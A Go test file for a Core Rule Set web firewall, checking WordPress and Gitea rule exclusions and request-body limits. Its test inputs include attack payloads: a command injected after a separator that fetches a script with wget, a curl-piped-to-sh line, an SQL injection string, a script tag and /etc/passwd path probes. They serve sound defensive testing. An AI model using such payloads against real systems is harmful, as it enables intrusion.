func TestWordPressGroupsSkipRulesOnTheirFields(t *testing.T) {
	t.Parallel()

	// A page's address, repeating the search it came from. Rules 932235
	// and 932260 match it, and only the fields that hold an address skip
	// 932235.
	const pageAddress = "%2Fwp-admin%2Fedit.php%3Fs%3Dpython3"

	crs := atDefaults(t)

	for _, group := range []struct {
		target        string
		fields        []string
		addressFields []string
	}{
		{
			"/wp-admin/options.php?",
			[]string{
				"s", "search", "q", "term", "tag", "category_name", "plugin",
				"checked%5B%5D", "theme", "stylesheet", "page",
			},
			[]string{"url", "return", "redirect_to", "wp_http_referer", "_wp_http_referer"},
		},
		{"/wp-json/wp/v2/tags?", []string{"search", "term", "slug", "url"}, nil},
		{"/?", []string{"s", "tag"}, nil},
	} {
		wantResult(t, crs, get(group.target+"id="+pageAddress), matched(932235, 932260))

		for _, field := range group.fields {
			wantResult(t, crs, get(group.target+field+"="+pageAddress), matched(932235))
		}

		for _, field := range group.addressFields {
			wantResult(t, crs, get(group.target+field+"="+pageAddress), coreruleset.Result{})
		}

		for _, v := range wordpressWords() {
			value := url.QueryEscape(v.value)
			wantResult(t, crs, get(group.target+"id="+value), matched(v.rule))

			for _, field := range slices.Concat(group.fields, group.addressFields) {
				wantResult(t, crs, get(group.target+field+"="+value), coreruleset.Result{})
			}
		}
	}

	for _, target := range []string{
		"/wp-admin/term.php?s=python3",
		wpLogin + "?s=python3",
		"/index.php/wp-json/wp/v2/tags?slug=python3",
		"/index.php?rest_route=/wp/v2/tags&slug=python3",
		"/?rest_route=/wp/v2/tags&slug=python3",
		"/wp-json/oembed/1.0/embed?url=python3",
		"/?rest_route=/oembed/1.0/embed&url=python3",
		"/index.php?tag=python3",
		"/page/2/?tag=python3",
		"/index.php/page/2/?s=python3",
	} {
		wantResult(t, crs, get(target), coreruleset.Result{})
	}

	// The names WordPress writes as slugs skip only 932120 and 932260.
	for _, field := range []string{"p", "postId", "slug"} {
		for _, v := range wordpressWords() {
			want := coreruleset.Result{}
			if v.rule == 930120 || v.rule == 932250 {
				want = matched(v.rule)
			}

			target := "/wp-admin/options.php?" + field + "=" + url.QueryEscape(v.value)
			wantResult(t, crs, get(target), want)
		}
	}
}

func TestWordPressCommandAfterASeparatorIsRefusedOnSearchesAndNames(t *testing.T) {
	t.Parallel()

	const command = "%3B+wget+http%3A%2F%2Fexample.com%2Fx.sh"

	crs := atDefaults(t)

	for _, target := range []string{
		"/?s=",
		"/page/2/?s=",
		"/wp-admin/edit.php?s=",
		"/wp-json/wp/v2/search?search=",
		"/wp-admin/themes.php?search=",
		"/wp-json/wp/v2/posts?slug=",
		"/?rest_route=/wp/v2/posts&slug=",
		"/wp-json/wp/v2/tags?url=",
		"/wp-json/oembed/1.0/embed?url=",
		"/?tag=",
		"/wp-admin/edit.php?tag=",
		"/wp-admin/admin-ajax.php?q=",
		"/wp-admin/admin.php?page=",
		"/wp-admin/options-general.php?page=",
		"/wp-admin/tools.php?page=",
		"/wp-admin/site-editor.php?p=",
		"/wp-admin/site-editor.php?postId=",
		"/wp-admin/admin-ajax.php?slug=",
	} {
		wantResult(t, crs, get(target+command), matched(932235))
	}

	bodies := readingBodiesUpTo64K(t)

	for _, p := range wordpressBodyFields(command) {
		r := request{http.MethodPost, p.target, []string{p.contentType}}
		wantBody(t, bodies, r, p.body, matched(932235), p.body)
	}

	// The addresses of a link preview, an embed and a commenter's site keep
	// 932260 too.
	for _, target := range []string{
		"/wp-json/wp-block-editor/v1/url-details?url=",
		"/wp-json/oembed/1.0/proxy?url=",
	} {
		wantResult(t, crs, get(target+command), matched(932235, 932260))
	}

	comment := request{http.MethodPost, wpComment, []string{formData}}
	wantBody(t, bodies, comment, "url="+command, matched(932235, 932260), "url="+command)
}

// TestWordPressOtherFieldsAreExcludedOnlyThere checks each field and rule
// on one of its paths against the same value where no exclusion applies.
func TestWordPressOtherFieldsAreExcludedOnlyThere(t *testing.T) {
	t.Parallel()

	const elsewhere = "/example/things"

	crs := atDefaults(t)

	for _, tt := range []struct {
		target string
		rule   int
	}{
		{"/page/2/?s=python3", 932260},
		{"/page/2/?s=ls+-la", 932250},
		{"/page/2/?s=powershell", 932120},
		{"/index.php/page/2/?s=python3", 932260},
		{"/?s=.htaccess", 930120},
		{"/?s=wp-config.php", 930120},
		{"/?s=.bashrc", 930120},
		{"/page/2/?s=.htaccess", 930120},
		{"/wp-admin/edit-comments.php?s=powershell", 932120},
		{"/wp-admin/users.php?s=ls+-la", 932250},
		{"/wp-admin/plugins.php?s=python3", 932260},
		{"/wp-admin/edit-tags.php?s=python3", 932260},
		{"/wp-admin/themes.php?search=powershell", 932120},
		{"/wp-admin/theme-install.php?search=ls+-la", 932250},
		{"/wp-admin/upload.php?search=python3", 932260},
		{"/wp-admin/admin-ajax.php?q=powershell", 932120},
		{"/wp-admin/admin-ajax.php?q=ls+-la", 932250},
		{"/wp-admin/admin-ajax.php?q=python3", 932260},
		{"/wp-admin/admin-ajax.php?term=powershell", 932120},
		{"/wp-admin/admin-ajax.php?term=ls+-la", 932250},
		{"/wp-admin/admin-ajax.php?term=python3", 932260},
		{"/wp-admin/edit.php?_wp_http_referer=.htaccess", 930120},
		{"/wp-admin/edit.php?_wp_http_referer=powershell", 932120},
		{"/wp-admin/upload.php?_wp_http_referer=ls+-la", 932250},
		{"/wp-admin/users.php?_wp_http_referer=python3", 932260},
		{"/wp-admin/upload.php?_wp_http_referer=%2Fupload.php%3Fmode%3Dlist%26ps", 932340},
		{"/?tag=python3", 932260},
		{"/index.php?tag=powershell", 932120},
		{"/wp-admin/edit.php?tag=ls+-la", 932250},
		{"/wp-admin/edit.php?category_name=python3", 932260},
		{"/wp-admin/edit.php?category_name=powershell", 932120},
		{"/wp-admin/edit.php?category_name=ls+-la", 932250},
		{"/wp-admin/plugin-editor.php?file=install-script.sh", 932120},
		{"/wp-admin/theme-editor.php?file=document.write.js", 941180},
		{"/wp-admin/plugin-editor.php?plugin=docker-helper", 932260},
		{"/wp-admin/plugins.php?plugin=powershell-tools", 932120},
		{"/wp-admin/update.php?plugin=docker-helper", 932260},
		{"/wp-admin/admin.php?page=docker-helper", 932260},
		{"/wp-admin/options-general.php?page=powershell-tools", 932120},
		{"/wp-admin/tools.php?page=ls+-la", 932250},
		{"/wp-admin/tools.php?page=.htaccess", 930120},
		{"/wp-admin/site-editor.php?p=%2Fwp_template%2Fpython3-theme%2F%2Findex", 932260},
		{"/wp-admin/site-editor.php?postId=powershell-theme%2F%2Findex", 932120},
		{"/wp-admin/admin-ajax.php?slug=docker-helper", 932260},
		{"/wp-json/wp-block-editor/v1/url-details?url=" +
			"http%3A%2F%2Fblog.example%2Fpowershell-basics%2F", 932120},
		{"/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2F.htaccess", 930120},
	} {
		_, query, _ := strings.Cut(tt.target, "?")
		wantChange(t, crs, get(tt.target), get(elsewhere+"?"+query), matched(tt.rule))
	}
}

// TestWordPressRESTFieldsAreExcludedOnlyThere checks search, term, url and
// the header X-HTTP-Method-Override at the REST API's addresses.
func TestWordPressRESTFieldsAreExcludedOnlyThere(t *testing.T) {
	t.Parallel()

	crs := atDefaults(t)

	// Any route of WordPress's own API, at each address.
	for _, route := range []string{
		"/wp/v2/tags", "/wp/v2/categories", "/wp/v2/pages", "/wp/v2/media",
		"/wp/v2/users", "/wp/v2/blocks", "/wp/v2/pattern-directory/patterns",
	} {
		wantChange(t, crs, get("/wp-json"+route+"?search=python3"),
			get("/wp-json/example/v1/things?search=python3"), matched(932260))
		wantChange(t, crs, get("/index.php?rest_route="+route+"&search=python3"),
			get("/index.php?rest_route=/example/v1/things&search=python3"), matched(932260))
		wantChange(t, crs, get("/?rest_route="+route+"&search=.htaccess"),
			get("/?rest_route=/example/v1/things&search=.htaccess"), matched(930120))
	}

	const directory = "/wp-json/wp/v2/block-directory/search"

	wantChange(t, crs, get(directory+"?term=python3"),
		get("/wp-json/example/v1/things?term=python3"), matched(932260))
	wantChange(t, crs, get(directory+"?term=powershell"),
		get("/wp-json/example/v1/things?term=powershell"), matched(932120))
	wantChange(t, crs, get(directory+"?term=ls+-la"),
		get("/wp-json/example/v1/things?term=ls+-la"), matched(932250))

	// The block editor's link previews and embeds: url skips only 930120 and
	// 932120.
	for _, target := range []string{
		"/wp-json/wp-block-editor/v1/url-details?url=",
		"/?rest_route=/wp-block-editor/v1/url-details&url=",
		"/wp-json/oembed/1.0/proxy?url=",
		"/?rest_route=/oembed/1.0/proxy&url=",
	} {
		for _, v := range wordpressWords() {
			want := coreruleset.Result{}
			if v.rule == 932250 || v.rule == 932260 {
				want = matched(v.rule)
			}

			wantResult(t, crs, get(target+url.QueryEscape(v.value)), want)
		}
	}

	// The header X-HTTP-Method-Override at the address on the site root,
	// and off the REST API.
	headers := []string{jsonBody, "Content-Length: 2", wordpressOverride}
	wantChange(t, crs,
		request{http.MethodPost, "/?rest_route=/wp/v2/posts/1", headers},
		request{http.MethodPost, "/?p=1", headers}, matched(920450))
}

func TestWordPressBodyFieldsAreCheckedInTheQuery(t *testing.T) {
	t.Parallel()

	crs := atDefaults(t)

	wantResult(t, crs, get(wpLogin+"?pwd=%2Fetc%2Fhosts"), matched(930120))
	wantResult(t, crs, get(wpLogin+"?PWD=%2Fetc%2Fhosts"), matched(930120))
	wantResult(t, crs, get("/wp-admin/admin-ajax.php?content=ls+-la"), matched(932250))
	wantResult(t, crs, get("/wp-admin/admin-ajax.php?newcontent=%3Cstyle%3E"),
		matched(941100, 941160))
	wantResult(t, crs,
		get("/wp-json/wp/v2/posts/1?json.content="+url.QueryEscape(wordpressBlock)),
		matched(941180))
	wantResult(t, crs, get("/wp-json/wp/v2/posts/1?json.title=python3"), matched(932260))
	wantResult(t, crs, get("/wp-comments-post.php?url=powershell"), matched(932120))
}

// TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere checks the JSON
// fields of a REST API save, a plugin to install and a commenter's address,
// against the same values in another field and off their paths.
func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) {
	t.Parallel()

	crs := readingBodiesUpTo64K(t)

	for _, v := range wordpressWords() {
		for _, field := range []string{"title", "excerpt", "name"} {
			body := fmt.Sprintf(`{%q:%q}`, field, v.value)

			for _, address := range wordpressRESTAddresses("/wp/v2/posts/1") {
				r := request{http.MethodPost, address, []string{jsonBody, wordpressOverride}}
				wantBody(t, crs, r, body, coreruleset.Result{}, body)
			}

			r := request{http.MethodPost, "/wp-json/example/v1/things", []string{jsonBody}}
			wantBody(t, crs, r, body, matched(v.rule), body)
		}

		other := fmt.Sprintf(`{"description":%q}`, v.value)
		r := request{http.MethodPost, wpTags, []string{jsonBody}}
		wantBody(t, crs, r, other, matched(v.rule), other)
	}

	// A post's slug and a plugin to install skip only 932120 and 932260.
	post := request{http.MethodPost, wpPost, []string{jsonBody, wordpressOverride}}
	install := request{http.MethodPost, wpAjax, []string{formData}}

	for _, v := range wordpressWords() {
		want := coreruleset.Result{}
		if v.rule == 930120 || v.rule == 932250 {
			want = matched(v.rule)
		}

		slug := fmt.Sprintf(`{"slug":%q}`, v.value)
		wantBody(t, crs, post, slug, want, slug)

		plugin := "action=install-plugin&slug=" + url.QueryEscape(v.value)
		wantBody(t, crs, install, plugin, want, plugin)
	}

	comment := request{http.MethodPost, wpComment, []string{formData}}
	elsewhere := request{http.MethodPost, "/example/things", []string{formData}}

	// A commenter's address skips the two rules that refused an address.
	for _, v := range []struct {
		address string
		rule    int
	}{
		{"http://blog.example/.htaccess", 930120},
		{"http://blog.example/powershell-basics/", 932120},
	} {
		body := "url=" + url.QueryEscape(v.address)
		wantBody(t, crs, comment, body, coreruleset.Result{}, body)
		wantBody(t, crs, elsewhere, body, matched(v.rule), body)

		author := "author=" + url.QueryEscape(v.address)
		wantBody(t, crs, comment, author, matched(v.rule), author)
	}

	// The rules on Unix commands keep it.
	wantBody(t, crs, comment, "url=python3", matched(932260), "url=python3")
	wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la")
}

func TestWordPressExclusionsAreNarrow(t *testing.T) {
	t.Parallel()

	const (
		offREST = "/api/posts/1"
		length  = "Content-Length: 2"
	)

	crs := readingBodiesUpTo64K(t)
	saving := request{http.MethodPost, wpPost, []string{jsonBody, wordpressOverride}}

	content := `{"content":"` + wordpressBlock + `"}`
	wantBody(t, crs, saving, content, coreruleset.Result{}, content)

	// The other fields of the post keep the rule, and so does the same field
	// off the REST API.
	title := `{"title":"` + wordpressBlock + `"}`
	wantBody(t, crs, saving, title, matched(941180), title)
	wantBody(t, crs, request{http.MethodPost, offREST, []string{jsonBody}}, content,
		matched(941180), content)

	// The header X-HTTP-Method-Override is refused off the REST API.
	defaults := atDefaults(t)
	wantResult(t, defaults,
		request{http.MethodPost, wpPost, []string{jsonBody, length, wordpressOverride}},
		coreruleset.Result{})
	wantResult(t, defaults,
		request{http.MethodPost, offREST, []string{jsonBody, length, wordpressOverride}},
		matched(920450))

	// Signing in: pwd alone skips the list of system files.
	signIn := request{http.MethodPost, wpLogin, []string{formData}}

	body := "log=a&pwd=b%20%2Fetc%2Fhosts"
	wantBody(t, crs, signIn, body, coreruleset.Result{}, body)

	body = "log=b%20%2Fetc%2Fhosts&pwd=a"
	wantBody(t, crs, signIn, body, matched(930120), body)
}

// bodyLimit is SWW_WAF_BODY_LIMIT in the tests that read bodies.
const bodyLimit = 8 << 10

// The Content-Type headers of the kinds of body the Core Rule Set reads.
const (
	formData  = "Content-Type: application/x-www-form-urlencoded"
	multipart = "Content-Type: multipart/form-data; boundary=b"
	jsonBody  = "Content-Type: application/json"
	xmlBody   = "Content-Type: application/xml"
)

// injection is an SQL injection, which rule 942100 matches.
const injection = "1' OR '1'='1"

// scriptTag is a script injection, not escaped.
const scriptTag = "<script>alert(1)</script>"

// readingBodies returns the Core Rule Set as sww runs it by
// default, but reading bodies up to bodyLimit.
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
	t.Helper()

	return shared(t, coreruleset.Params{
		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
	})
}

// post is a POST request for / with a body of the type contentType, a
// Content-Type header, gives, and headers besides.
func post(contentType string, headers ...string) request {
	return request{http.MethodPost, "/", append([]string{contentType}, headers...)}
}

// field is a part of a multipart body: the field name, holding value.
func field(name, value string) string {
	return "--b\r\nContent-Disposition: form-data; name=\"" + name + "\"\r\n\r\n" +
		value + "\r\n"
}

// end ends a multipart body.
const end = "--b--\r\n"

// padded returns head and tail with as many a's between them as make n
// bytes in all.
func padded(head, tail string, n int) string {
	return head + strings.Repeat("a", n-len(head)-len(tail)) + tail
}

// wantBody checks what crs finds in r with body, and that what it read of
// body is read.
func wantBody(
	t *testing.T, crs *coreruleset.CoreRuleSet, r request, body string,
	want coreruleset.Result,
	read string,
) {
	t.Helper()

	got, gotRead := inspectBody(t, crs, r, body)
	if !reflect.DeepEqual(got, want) || gotRead != read {
		t.Errorf("%q with a body of %d bytes, %.40q: %+v, reading %d bytes, "+
			"want %+v, reading %d", r.headers, len(body), body, got, len(gotRead),
			want, len(read))
	}
}

func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) {
	t.Parallel()

	off, on := atDefaults(t), readingBodies(t)

	for _, tc := range []struct{ header, body string }{
		{formData, "q=" + url.QueryEscape(injection)},
		{multipart, field("q", injection) + end},
		{jsonBody, `{"q":"` + injection + `"}`},
		{xmlBody, "<q>" + injection + "</q>"},
	} {
		wantBody(t, off, post(tc.header), tc.body, coreruleset.Result{}, "")
		wantBody(t, on, post(tc.header), tc.body, matched(942100), tc.body)
	}
}

func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
	t.Parallel()

	crs := readingBodies(t)
	pad := strings.Repeat("a", bodyLimit)

	for _, tc := range []struct{ header, attackFirst, attackLast string }{
		{
			formData, "q=" + url.QueryEscape(injection) + "&pad=" + pad,
			"pad=" + pad + "&q=" + url.QueryEscape(injection),
		},
		{
			multipart, field("q", injection) + field("pad", pad) + end,
			field("pad", pad) + field("q", injection) + end,
		},
	} {
		wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
			tc.attackFirst[:bodyLimit+1])
		wantBody(t, crs, post(tc.header), tc.attackLast, coreruleset.Result{},
			tc.attackLast[:bodyLimit+1])
	}

	// To the byte: a system file's path is found when it ends at the limit,
	// and not when its last letter is past it, which is still read.
	atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
	wantBody(t, crs, post(formData), atLimit, matched(930120, 932160), atLimit)

	pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
	wantBody(t, crs, post(formData), pastLimit, coreruleset.Result{}, pastLimit)
}

func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
	t.Parallel()

	crs := readingBodies(t)

	for _, tc := range []struct{ header, head, tail string }{
		{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
		{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
	} {
		fits := padded(tc.head, tc.tail, bodyLimit)
		wantBody(t, crs, post(tc.header), fits, matched(942100), fits)

		larger := padded(tc.head, tc.tail, bodyLimit+1)
		wantBody(t, crs, post(tc.header), larger, coreruleset.Result{}, larger)
	}
}

func TestOtherBodiesAreNotRead(t *testing.T) {
	t.Parallel()

	crs := readingBodies(t)

	// Read as form data, which the Core Rule Set does with a body of a type
	// it does not know, this would be an SQL injection.
	body := "q=" + url.QueryEscape(injection)

	for _, header := range []string{
		"Content-Type: application/octet-stream",
		"Content-Type: text/plain",
		"Content-Type: application/x-git-receive-pack-request",
	} {
		wantBody(t, crs, post(header), body, coreruleset.Result{}, "")
	}
}

func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(t *testing.T) {
	t.Parallel()

	const gzip = "Content-Encoding: gzip"

	crs := readingBodies(t)

	for _, tc := range []struct{ header, body string }{
		{formData, "a=1"},
		{multipart, field("a", "1") + end},
		{jsonBody, `{"a":1}`},
		{xmlBody, "<a>1</a>"},
	} {
		wantBody(t, crs, post(tc.header, gzip), tc.body, matched(920450), tc.body)
	}

	// Whatever its size: a JSON body larger than the limit is not read, but
	// Content-Encoding on it is refused all the same.
	larger := strings.Repeat("a", bodyLimit+1)
	wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)

	// It is allowed on a body of any other kind, and on every body while no
	// body is read.
	fetch := "Content-Type: application/x-git-upload-pack-request"
	wantBody(t, crs, post(fetch, gzip), "a", coreruleset.Result{}, "")
	wantBody(t, atDefaults(t), post(formData, gzip), "a", coreruleset.Result{}, "")
}

func TestParametersGiteaSendsNamesInAreLeftOutAmongFormFieldsToo(t *testing.T) {
	t.Parallel()

	crs := readingBodies(t)
	local := url.QueryEscape("http://127.0.0.1:52341/")

	for _, tc := range []struct {
		body string
		want coreruleset.Result
	}{
		{"path=.gitignore", coreruleset.Result{}},
		{"q=.gitignore", matched(930120)},
		{"redirect_uri=" + local, coreruleset.Result{}},
		{"next=" + local, matched(931100, 934110)},
	} {
		wantBody(t, crs, post(formData), tc.body, tc.want, tc.body)
	}

	body := field("path", ".gitignore") + end
	wantBody(t, crs, post(multipart), body, coreruleset.Result{}, body)

	body = field("q", ".gitignore") + end
	wantBody(t, crs, post(multipart), body, matched(930120), body)

	// A JSON body's field is named by its path, here json.path, and is
	// checked.
	body = `{"path":".gitignore"}`
	wantBody(t, crs, post(jsonBody), body, matched(930120), body)
}

func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) {
	t.Parallel()

	crs := readingBodies(t)

	// A comment that shows a shell command.
	const text = "Try `curl -s https://example.org | sh` first."

	comment := "content=" + url.QueryEscape(text)
	wantBody(t, crs, post(formData), comment, matched(932235), comment)

	// An attachment named like a log file.
	attachment := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
		"filename=\"debug.log\"\r\nContent-Type: text/plain\r\n\r\nstarted\r\n" + end
	wantBody(t, crs, post(multipart), attachment, matched(932180), attachment)
}

func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
	t.Parallel()

	crs := readingBodies(t)

	for _, tc := range []struct{ contentType, body string }{
		{"application/atom+xml", "<q>" + injection + "</q>"},
		{"application/vnd.example+xml", "<q>" + injection + "</q>"},
		{"application/vnd.example+json", `{"q":"` + injection + `"}`},
		{"text/json", `{"q":"` + injection + `"}`},
	} {
		wantBody(t, crs, post("Content-Type: "+tc.contentType), tc.body,
			matched(942100), tc.body)
	}
}

func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
	t.Parallel()

	crs := readingBodies(t)

	// An end tag after the root element, past which Coraza reads none of
	// the body, while an app may still read the attack before it.
	body := "<q>" + injection + "</q></r>"
	wantBody(t, crs, post(xmlBody), body, matched(900440), body)

	// The multipart bodies Coraza cannot parse fail its strict checks too:
	// one whose type names its boundary twice, and one with a part header
	// that has no colon, before the attack. They do so padded past the
	// limit too, which cuts them in the padding.
	noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
	pad := field("pad", strings.Repeat("a", bodyLimit))

	for _, tc := range []struct{ header, head string }{
		{multipart + "; boundary=c", ""},
		{multipart, noColon},
	} {
		body = tc.head + field("q", injection) + end
		wantBody(t, crs, post(tc.header), body, matched(900440, 900450), body)

		body = tc.head + field("q", injection) + pad + end
		wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
			body[:bodyLimit+1])
	}
}

func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
	t.Parallel()

	// The limit falls in the middle of the name of the second part's
	// header, which Coraza, reading up to the limit, cannot tell from a
	// header without a colon.
	cut := "--b\r\nContent-Di"
	first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)))
	body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end

	wantBody(t, readingBodies(t), post(multipart), body, matched(900440, 900450),
		body[:bodyLimit+1])
}

func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(t *testing.T) {
	t.Parallel()

	crs := readingBodies(t)
	headerLine := "--b\r\nContent-Disposition: form-data; name=\"q\"\r"

	// The limit falls between the carriage return and the line feed that
	// end the second part's header line, and then between those that end
	// the empty line after it. Coraza, reading up to the limit, takes the
	// line ending in a lone carriage return for a malformed header.
	for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
		first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut))
		body := first + field("q", "1") + end

		wantBody(t, crs, post(multipart), body, matched(900440, 900450),
			body[:bodyLimit+1])
	}
}

// TestCorazaWritesNoFile is not parallel, since it sets TMPDIR, the
// system's temporary directory, for the whole test process.
func TestCorazaWritesNoFile(t *testing.T) {
	// The system's temporary directory is one that does not exist, so that
	// Coraza could write nothing there: built without no_fs_access, it
	// refuses to load, and could not write a file of a multipart body.
	t.Setenv("TMPDIR", filepath.Join(t.TempDir(), "missing"))

	// The test loads its own Core Rule Set, since loading is part of what
	// it checks.
	crs, err := coreruleset.New(coreruleset.Params{
		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
	})
	if err != nil {
		t.Fatalf("load the Core Rule Set: %v", err)
	}

	body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
		"filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\n" +
		strings.Repeat("a", 1000) + "\r\n" + field("q", injection) + end
	wantBody(t, crs, post(multipart), body, matched(942100), body)
}

func TestBodyLimitOf1GLoads(t *testing.T) {
	t.Parallel()

	_, err := coreruleset.New(coreruleset.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30})
	if err != nil {
		t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
	}
}